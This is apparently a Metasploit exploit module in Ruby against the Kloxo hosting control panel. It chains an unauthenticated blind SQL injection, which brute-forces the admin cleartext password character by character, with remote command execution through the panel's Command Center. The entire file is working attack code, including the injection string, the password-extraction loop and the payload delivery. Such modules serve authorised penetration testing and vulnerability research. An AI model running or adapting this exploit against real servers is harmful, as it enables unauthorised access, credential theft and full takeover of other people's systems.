##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  Rank = ManualRanking
  PASSWORD_PREFIX = '__lxen:'
  BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='

  attr_accessor :password
  attr_accessor :session
  attr_accessor :server

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kloxo SQL Injection and Remote Code Execution',
      'Description'    => %q{
        This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
        exploited in the wild on January 2014. The SQL injection issue can be abused in order to
        retrieve the Kloxo admin cleartext password from the database. With admin access to the
        web control panel, remote PHP code execution can be achieved by abusing the Command Center
        function. The module tries to find the first server in the tree view, unless the server
        information is provided, in which case it executes the payload there.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Discovery, exploit in the wild
          'juan vazquez' # Metasploit Module
        ],
      'References'     =>
        [
          ['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
          ['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'],           # kloxo exploited in the wild
          ['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646']    # patch discussion
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'Space'       => 262144, # 256k
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python gawk netcat'
            }
        },
      'Targets'        =>
        [
          ['Kloxo / CentOS', {}]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 28 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(7778),
        OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
      ])

    register_advanced_options(
      [
        OptString.new('SERVER_CLASS', [false, 'The server class']),
        OptString.new('SERVER_NAME', [false, 'The server name'])
      ])
  end

  def check
    return Exploit::CheckCode::Safe unless webcommand_exists?
    return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
    return Exploit::CheckCode::Safe unless pefix_found?

    Exploit::CheckCode::Vulnerable
  end

  def exploit
    fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable

    print_status("Recovering the admin password with SQLi...")
    loot = base64_password
    fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
    @password = Rex::Text.decode_base64(loot)
    print_good("Password recovered: #{@password}")

    print_status("Logging into the Control Panel...")
    @session = send_login
    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?

    store_valid_credential(user: 'admin', private: @password)

    print_status("Retrieving the server name...")
    @server = server_info
    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?

    print_status("Exploiting...")
    send_command(payload.encoded)
  end

  def send_login
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
      'vars_post' =>
        {
          'frm_clientname' => 'admin',
          'frm_password'   => @password,
          'login'          => 'Login'
        }
    )

    if res && res.code == 302 && res.headers.include?('Set-Cookie')
      return res.get_cookies
    end

    nil
  end

  def server_info

    unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
      return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
    end

    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.to_s, 'display.php'),
      'cookie' => @session,
      'vars_get' =>
        {
          'frm_action' => 'show'
        }
    })

    if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/
      return parse_display_info(res.body.to_s)
    end

    nil
  end

  def parse_display_info(html)
    server_info = {}
    pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)

    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?
      return nil
    else
      server_info[:class] = $1
    end

    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?
      return nil
    else
      server_info[:name] = $1
    end

    server_info
  end

  def send_command(command)
    data = Rex::MIME::Message.new
    data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
    data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
    data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
    data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
    data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
    data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
    data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')

    post_data = data.to_s

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path.to_s, 'display.php'),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => @session,
      'data'   => post_data
    }, 1)
  end

  def webcommand_exists?
    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))

    if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
      return true
    end

    false
  end

  def pefix_found?
    i = 1
    PASSWORD_PREFIX.each_char do |c|
      return false unless exploit_sqli(i, c)
      i = i + 1
    end

    true
  end

  def bad_char(pos)
    Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
  end

  def ascii(char)
    char.unpack('C')[0]
  end

  def base64_password
    i = PASSWORD_PREFIX.length + 1
    loot = ''

    until exploit_sqli(i, "\x00")
      vprint_status("Brute forcing position #{i}")
      c = brute_force_char(i)
      if c.nil?
        return nil
      else
        loot << c
      end
      vprint_status("Found: #{loot}")
      i = i + 1
    end

    loot
  end

  def brute_force_char(pos)
    BASE64_RANGE.each_char do |c|
      return c if exploit_sqli(pos, c)
    end

    nil
  end

  def exploit_sqli(pos, char)
    # $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
    sqli = "al5i' "
    sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
    sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"

    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
      'vars_get' =>
        {
          'login-class'    => 'client',
          'login-name'     => sqli,
          'login-password' => '123456'
        }
    )

    if res && res.code == 200 && res.body.blank?
      return true
    elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
      return false
    end

    vprint_warning("Unknown fingerprint while exploiting SQLi... be careful")
    false
  end
end
